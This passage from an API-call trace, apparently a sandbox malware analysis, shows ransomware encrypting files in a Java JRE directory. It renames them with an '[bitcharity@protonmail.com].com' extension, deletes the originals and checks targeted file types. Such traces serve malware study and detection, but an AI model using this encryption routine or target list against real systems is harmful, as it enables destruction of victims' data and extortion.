dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.548] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.548] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0301.548] GetLastError () returned 0x0 [0301.548] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0xca750, lpOverlapped=0x0) returned 1 [0301.625] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xca760, lpOverlapped=0x0) returned 1 [0301.646] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.646] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.646] SetEndOfFile (hFile=0x10e8) returned 1 [0301.646] CloseHandle (hObject=0x10e8) returned 1 [0301.646] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.646] SetEndOfFile (hFile=0x10d4) returned 1 [0301.782] CloseHandle (hObject=0x10d4) returned 1 [0301.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0302.629] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1 [0303.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.022] lstrlenW (lpString=".doc") returned 4 [0303.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.022] lstrlenW (lpString=".docx") returned 5 [0303.022] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0303.022] lstrlenW (lpString=".pdf") returned 4 [0303.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.022] lstrlenW (lpString=".xls") returned 4 [0303.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.022] lstrlenW (lpString=".xlsx") returned 5 [0303.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0303.022] lstrlenW (lpString=".ppt") returned 4 [0303.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.022] lstrlenW (lpString=".zip") returned 4 [0303.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.022] lstrlenW (lpString=".rar") returned 4 [0303.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.022] lstrlenW (lpString=".bz2") returned 4 [0303.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.022] lstrlenW (lpString=".7z") returned 3 [0303.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.023] lstrlenW (lpString=".dbf") returned 4 [0303.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.023] lstrlenW (lpString=".1cd") returned 4 [0303.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.023] lstrlenW (lpString=".jpg") returned 4 [0303.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.023] lstrlenW (lpString=".doc") returned 4 [0303.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.023] lstrlenW (lpString=".docx") returned 5 [0303.023] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0303.023] lstrlenW (lpString=".pdf") returned 4 [0303.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.023] lstrlenW (lpString=".xls") returned 4 [0303.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.023] lstrlenW (lpString=".xlsx") returned 5 [0303.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0303.023] lstrlenW (lpString=".ppt") returned 4 [0303.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.023] lstrlenW (lpString=".zip") returned 4 [0303.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.023] lstrlenW (lpString=".rar") returned 4 [0303.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.023] lstrlenW (lpString=".bz2") returned 4 [0303.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.023] lstrlenW (lpString=".7z") returned 3 [0303.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.023] lstrlenW (lpString=".dbf") returned 4 [0303.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.024] lstrlenW (lpString=".1cd") returned 4 [0303.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0303.024] lstrlenW (lpString=".jpg") returned 4 [0303.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.024] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0303.024] lstrlenW (lpString="rmiregistry.exe") returned 15 [0303.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.035] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=16448) returned 1 [0303.035] CloseHandle (hObject=0x10a4) returned 1 [0303.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0303.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.035] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.036] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.036] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.036] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0303.036] GetLastError () returned 0x0 [0303.036] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4040, lpOverlapped=0x0) returned 1 [0303.102] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4050, lpOverlapped=0x0) returned 1 [0303.103] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.103] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xf2, lpOverlapped=0x0) returned 1 [0303.103] SetEndOfFile (hFile=0x10e8) returned 1 [0303.103] CloseHandle (hObject=0x10e8) returned 1 [0303.103] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.103] SetEndOfFile (hFile=0x10a4) returned 1 [0303.104] CloseHandle (hObject=0x10a4) returned 1 [0303.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.105] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1 [0303.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.105] lstrlenW (lpString=".doc") returned 4 [0303.105] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.105] lstrlenW (lpString=".docx") returned 5 [0303.105] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0303.105] lstrlenW (lpString=".pdf") returned 4 [0303.105] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.105] lstrlenW (lpString=".xls") returned 4 [0303.105] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.105] lstrlenW (lpString=".xlsx") returned 5 [0303.105] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0303.105] lstrlenW (lpString=".ppt") returned 4 [0303.105] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.105] lstrlenW (lpString=".zip") returned 4 [0303.105] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.105] lstrlenW (lpString=".rar") returned 4 [0303.105] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.105] lstrlenW (lpString=".bz2") returned 4 [0303.105] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.105] lstrlenW (lpString=".7z") returned 3 [0303.105] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.105] lstrlenW (lpString=".dbf") returned 4 [0303.105] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString=".1cd") returned 4 [0303.106] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString=".jpg") returned 4 [0303.106] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString=".doc") returned 4 [0303.106] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.106] lstrlenW (lpString=".docx") returned 5 [0303.106] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0303.106] lstrlenW (lpString=".pdf") returned 4 [0303.106] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.106] lstrlenW (lpString=".xls") returned 4 [0303.106] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.106] lstrlenW (lpString=".xlsx") returned 5 [0303.106] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0303.106] lstrlenW (lpString=".ppt") returned 4 [0303.106] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString=".zip") returned 4 [0303.106] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.106] lstrlenW (lpString=".rar") returned 4 [0303.106] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.106] lstrlenW (lpString=".bz2") returned 4 [0303.106] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.106] lstrlenW (lpString=".7z") returned 3 [0303.106] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString=".dbf") returned 4 [0303.106] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString=".1cd") returned 4 [0303.106] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0303.106] lstrlenW (lpString=".jpg") returned 4 [0303.107] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.107] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.107] lstrlenW (lpString="splashscreen.dll") returned 16 [0303.107] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.107] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=204864) returned 1 [0303.107] CloseHandle (hObject=0x10a4) returned 1 [0303.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0303.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.107] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.107] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.107] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0303.108] GetLastError () returned 0x0 [0303.108] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x32040, lpOverlapped=0x0) returned 1 [0303.308] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x32050, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x32050, lpOverlapped=0x0) returned 1 [0303.311] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.311] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xf4, lpOverlapped=0x0) returned 1 [0303.311] SetEndOfFile (hFile=0x10e8) returned 1 [0303.311] CloseHandle (hObject=0x10e8) returned 1 [0303.311] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.312] SetEndOfFile (hFile=0x10a4) returned 1 [0303.313] CloseHandle (hObject=0x10a4) returned 1 [0303.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.314] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 1 [0303.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.314] lstrlenW (lpString=".doc") returned 4 [0303.314] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.314] lstrlenW (lpString=".docx") returned 5 [0303.314] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0303.314] lstrlenW (lpString=".pdf") returned 4 [0303.314] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.314] lstrlenW (lpString=".xls") returned 4 [0303.314] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.314] lstrlenW (lpString=".xlsx") returned 5 [0303.314] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0303.314] lstrlenW (lpString=".ppt") returned 4 [0303.314] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.314] lstrlenW (lpString=".zip") returned 4 [0303.314] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.314] lstrlenW (lpString=".rar") returned 4 [0303.314] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.314] lstrlenW (lpString=".bz2") returned 4 [0303.314] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.314] lstrlenW (lpString=".7z") returned 3 [0303.314] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.315] lstrlenW (lpString=".dbf") returned 4 [0303.315] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.315] lstrlenW (lpString=".1cd") returned 4 [0303.315] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.315] lstrlenW (lpString=".jpg") returned 4 [0303.315] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.315] lstrlenW (lpString=".doc") returned 4 [0303.315] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.315] lstrlenW (lpString=".docx") returned 5 [0303.315] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0303.315] lstrlenW (lpString=".pdf") returned 4 [0303.315] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.315] lstrlenW (lpString=".xls") returned 4 [0303.315] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.315] lstrlenW (lpString=".xlsx") returned 5 [0303.315] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0303.315] lstrlenW (lpString=".ppt") returned 4 [0303.315] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.315] lstrlenW (lpString=".zip") returned 4 [0303.315] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.315] lstrlenW (lpString=".rar") returned 4 [0303.315] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.315] lstrlenW (lpString=".bz2") returned 4 [0303.315] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.315] lstrlenW (lpString=".7z") returned 3 [0303.316] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.316] lstrlenW (lpString=".dbf") returned 4 [0303.316] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.316] lstrlenW (lpString=".1cd") returned 4 [0303.316] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0303.316] lstrlenW (lpString=".jpg") returned 4 [0303.316] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.316] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.316] lstrlenW (lpString="sunmscapi.dll") returned 13 [0303.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.316] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=31808) returned 1 [0303.316] CloseHandle (hObject=0x10a4) returned 1 [0303.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0303.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.317] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.317] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0303.317] GetLastError () returned 0x0 [0303.317] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x7c40, lpOverlapped=0x0) returned 1 [0303.505] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x7c50, 